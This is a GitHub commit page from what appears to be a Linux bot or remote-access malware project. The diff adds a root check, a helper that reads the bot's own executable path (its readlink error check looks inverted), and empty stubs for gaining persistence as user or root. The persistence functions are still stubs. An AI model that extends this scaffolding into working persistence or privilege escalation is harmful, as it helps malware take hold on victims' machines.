Skip to content

Commit

Permalink
Implemented linpersist.c:laikaB_checkRoot(), fixed Shell config argument
Browse files Browse the repository at this point in the history
  • Loading branch information
CPunch committed Apr 6, 2022
1 parent c0828a7 commit 56fb305
Show file tree
Hide file tree
Showing 2 changed files with 32 additions and 3 deletions.
33 changes: 31 additions & 2 deletions bot/lin/linpersist.c
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,9 @@
#include "lsocket.h"
#include "lerror.h"

#include <unistd.h>
#include <sys/types.h>

static struct sLaika_socket laikaB_markerPort;

/* check if laika is already running */
Expand All @@ -21,7 +24,7 @@ bool laikaB_checkPersist() {

/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return true; /* stubbed for now */
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
}

/* mark that laika is currently running */
Expand All @@ -44,9 +47,35 @@ void laikaB_unmarkRunning() {
#endif
}

void getCurrentExe(char *outPath, int pathSz) {
int sz;

/* thanks linux :D */
if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) != 0)
LAIKA_ERROR("Failed to grab current process executable path!\n");

outPath[sz] = '\0';
}

void tryPersistUser(char *path) {

}

void tryPersistRoot(char *path) {

}

/* try to gain persistance on machine */
void laikaB_tryPersist() {
/* stubbed */
char exePath[PATH_MAX];

/* grab current process's executable & try to gain persistance */
getCurrentExe(exePath, PATH_MAX);
if (laikaB_checkRoot()) {
tryPersistRoot(exePath);
} else {
tryPersistUser(exePath);
}
}

/* try to gain root */
Expand Down
2 changes: 1 addition & 1 deletion shell/src/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ int main(int argv, char *argc[]) {
shellC_init(&client);

/* load config file */
if (argv > 2)
if (argv >= 2)
configFile = argc[1];

if (!loadConfig(&client, configFile))
Expand Down

0 comments on commit 56fb305

Please sign in to comment.